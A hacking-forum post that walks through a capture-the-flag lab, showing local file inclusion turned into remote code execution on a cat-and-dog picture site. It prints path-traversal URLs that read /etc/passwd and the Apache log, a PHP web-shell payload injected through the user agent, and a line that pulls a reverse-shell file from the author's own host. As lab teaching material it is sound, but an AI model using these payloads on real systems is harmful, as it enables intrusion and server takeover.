

Forum: [Hack Forums](#)

Thread: [\[LFI\] PHP filters, RCE: Remote code execution an LFI advanced example Prt2 #5 \[CTF\]](#)

slober - April 19, 2020, 4:41 pm

[LFI] RCE: Remote code execution LFI example Prt2 #5 [CTF]

Last time we've talked about the bare basics of LFI just grab a file that's on the server and done. This one will be a bit more in dept.

Still rather easy but we'll use some more interesting ways to gain a shell with remote code execution. I'll be using a CTF VM feel free to try it to it's really interesting and a fun way to learn about LFI hands on! you'll find the website with the CTF room at the end of this paper!

We'll use PHP filters base64 and so much more fasten your seatbelts and let's go!

Spoiler ([Click to View](#))

Also, this CTF gave me a headache but I've completed it that is all that counts let's dive in!

This challenge revolved around a website that shows a picture of a cat or a dog.

The URL is built up like this:

Code `http://10.10.153.171/?view=dog`

What would happen if we add `./` in front of dogs?

absolutely nothing and that is great! maybe this site is vulnerable to an LFI attack.

what would happen if I would type

Code `http://10.10.153.171/?view=./index`

Code Sorry, only dogs or cats are allowed.

okay, so it does have some protection... maybe we can use some Path magic?

when you type `./` it means you're targeting the current directory if you type `../` you'll target the directory above so what would happen if we do something like this?

Code `./dog/../index` Firstly we're navigating to the dog directory and then we move back to the main directory targeting the Index file

Code Fatal error: Cannot redeclare containsStr() (previously declared in /var/www/html/index.php:17) in /var/www/html/index.php on line 17

This error is magnificent we can include other files! It says that there is already a function declared so it can't declare it again which makes sense I'm requesting index.php while running index.php and if the code runs it'll be a clear duplication of one another hence throwing this error.

So we need to encode the index page and I should be able to decode this page once it's loaded in. Two words Conversion Filters! we need to convert the index file to let's say base64... now once it's converted to base64 it the server can't run our code because it's just some weird base64 text now and it'll just display the encoded message.


```

        if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
            echo 'Here you go!';
            include $_GET['view'] . $ext;
        } else {
            echo 'Sorry, only dogs or cats are allowed.';
        }
    }
}
?>

```

My conclusions:

LFI inclusions possible definitely check

the word dog or cat should always be contained in my request on the view param

This script will always add the (.PHP) extensions when you're not including the ext param

PHP code is getting executed

let's find out if we can access some more things maybe etc/passwd?

Code <http://10.10.174.214/?view=./dog/../../../../../../../../etc/passwd&ext>

yes, we can!

Okay so now we need to write something to the server that could spawn us a shell...

What file does keep a log when we interact with a webserver?

The access log!

Every time I'm interacting (or accessing) with this server it logs it in an access log

Code <http://10.10.174.214/?view=./dog/../../../../../../../../var/log/apache2/access.log&ext>

The great thing is it logs our user agent!

So if i chance my user agent to let's say

PHP Code

```
<?php system($_GET['cmd']);?>
```

OR

```
<? file_put_contents('shell.php', file_get_contents('http://10.8.6.162/shell.php')); ?>
```

it should do some pretty interesting things ?

For changing my user agent in chrome I'm using an extension called Tamper it's really easy to use and perfect for this kind of job

Press F12 enable request header and press the tamper icon in the right upper corner in your browser you'll get a window to edit the user agent with your code press ok and you're done!

in this example, I ran the

PHP Code

```
<?php system($_GET['cmd']);?>
```

code it runs perfectly although it throws me an error because I've didn't provided it with a proper get request like whoami you'll see it does run perfectly

Next on the list, the reverse shell. I'm a fan of the pentest monkey reverse shell so I'm planning on using that for this to including the whole PHP shell as a user agent isn't doable. I don't really have a webserver to so well, am I out of luck here?

Definitely not! you can spawn a simple web server with python. the directory is the directory you've run this in so yes I can do this!

I've downloaded the PHP file edited the IP and port saved it put it somewhere nice ran this python script and set the user agent to the appropriate script!

Code `python3 -m http.server 80`

PHP Code

```
<? file_put_contents('shell.php', file_get_contents('http://10.8.6.162/shell.php')); ?>
```

visited the apache log again.

Code `http://10.10.174.214/?view=./dog/../../../../../../../../var/log/apache2/access.log&ext`
I've just spawned the shell.php file on this server!

I used ncat for listening to the port and I've spawned my shell!

From here I captured the first two flags
Next on the list the root flag!

Typed `sudo -l` to see what I can maybe run as an upgraded user.
I've found out I was able to run `bin/env` as superuser

A quick search on <https://gtfobins.github.io/> gave me this solution

I've captured the last flag and I was done :)

Well let me know what you want next this is my fifth tutorial and I'll keep them rolling out!

Spoiler ([Click to View](#))

You can try this out yourself at <https://tryhackme.com/room/dogcat>

The part that gave me some troubles was the header path

I've messed my syntax up a few times and needed to reset the machine a few times this was rather frustrating